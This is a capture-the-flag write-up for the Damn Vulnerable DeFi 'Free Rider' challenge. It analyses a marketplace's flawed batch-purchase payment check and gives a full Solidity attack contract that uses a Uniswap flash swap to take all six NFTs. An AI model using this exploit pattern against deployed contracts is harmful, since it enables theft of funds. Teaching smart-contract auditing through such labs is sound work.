# Damn Vulnerable DeFi V4 - Free Rider
:::spoiler 文章目錄
[toc]
:::
## Intro
A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!
They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.
<br>
## Source Code
Source code
- https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/free-rider
Test file
- https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/free-rider/FreeRider.t.sol
<br>
## Analysis
### Issue
There are couple issues in this code snippet
1. The `buyMany` calls `_buyOne` in a loop represents buy in batch. Like `buyMany([0, 1, 2, 3, 4, 5])`
- The contract check the `msg.value` in every element but didn't calculate the total price
- This means attacker can buy `6` NFTs using `15 ETH`, not `90 ETH`
2. After the `safeTransferFrom` function after purchase, the owner will be the attacker
- **this will cause the next line `sendValue` function return the 15 ETH back to the attacker, not the seller**
```solidity=
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; ++i) {
unchecked {
_buyOne(tokenIds[i]);
}
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0) {
revert TokenNotOffered(tokenId);
}
if (msg.value < priceToPay) { // <- will cause buy 6 pieces using 15 ETH only
revert InsufficientPayment();
}
--offersCount;
// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); // <- Now the owner is the attacker, not the original seller anymore
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
```
<br>
### Get the initial funds
Next the question is, how do we get 15 ETH?
In the test file, it imports Uniswap V2, and there's a `swap` function we can borrow some wETH
```solidity=
uniswapPair = IUniswapV2Pair(
uniswapV2Factory.getPair(address(token), address(weth))
);
uniswapPair.swap(15 ether, 0, address(this), "1");
// Definition of UniswapV2Pair.swap()
function swap(
uint amount0Out, // 1st token borrow amount
uint amount1Out, // 2nd token borrow amount
address to, // receiver
bytes calldata data // callback data
) external;
```
<br>
And since we run the `swap` function, we need to implement a `uniswapV2Call` callback function in the attack contract.
- convert the `WETH` to `ETH`
- Abuse the `buyMany`
- In between we need another `onERC721Received` function to proper receive the 6 NFT
- We can follow the recovery contract
```solidity
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
```
- Get the refund via `buyMany` function's bug
- payback the `uniswapPair`
- Finally, transfer the NFT to the recovery via `safeTransferFrom` and get the bounty
- In the recovery contract we see the following condition
- We need to encode the player's address to `data` field
```solidity=
if (++received == 6) {
address recipient = abi.decode(_data, (address));
payable(recipient).sendValue(bounty);
}
```
<br>
## Attack
```solidity=
function test_freeRider() public checkSolvedByPlayer {
AttackContract attacker = new AttackContract(
uniswapPair,
marketplace,
nft,
weth,
recoveryManager
);
attacker.trigger();
console.log(
"balance of attacker:",
address(player).balance / 1e18,
"ETH"
);
}
contract AttackContract {
WETH weth;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
uint256 constant NFT_PRICE = 15 ether;
uint256 constant AMOUNT_OF_NFTS = 6;
address player;
constructor(
IUniswapV2Pair _uniswapPair,
FreeRiderNFTMarketplace _marketplace,
DamnValuableNFT _nft,
WETH _weth,
FreeRiderRecoveryManager _recoveryManager
) {
uniswapPair = _uniswapPair;
marketplace = _marketplace;
nft = _nft;
weth = _weth;
recoveryManager = _recoveryManager;
player = msg.sender;
}
function trigger() public {
uniswapPair.swap(NFT_PRICE, 0, address(this), "1");
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
require(msg.sender == address(uniswapPair), "Invalid caller");
// convert to ETH
weth.withdraw(NFT_PRICE);
// prepare the buy id array: [0, 1, 2, 3, 4, 5]
uint256[] memory ids = new uint256[](6);
for (uint256 i = 0; i < 6; i++) {
ids[i] = i;
}
// abuse the buyMany
marketplace.buyMany{value: NFT_PRICE}(ids);
// Repay the uniswapPair and the 0.3% fee
uint256 amountRequired = (NFT_PRICE * 1004) / 1000; // Includes 0.3% fee
weth.deposit{value: amountRequired}(); // Convert ETH back to WETH
weth.transfer(address(uniswapPair), amountRequired); // Payback loan
// transfer the NFT to the recovery via safeTransferFrom
bytes memory data = abi.encode(player);
for (uint256 i = 0; i < 6; i++) {
nft.approve(address(recoveryManager), ids[i]);
nft.safeTransferFrom(
address(this),
address(recoveryManager),
ids[i],
data
);
}
}
// handle to recieve the NFT
function onERC721Received(
address,
address,
uint256,
bytes memory
) external view returns (bytes4) {
return recoveryManager.onERC721Received.selector;
}
receive() external payable {}
}
```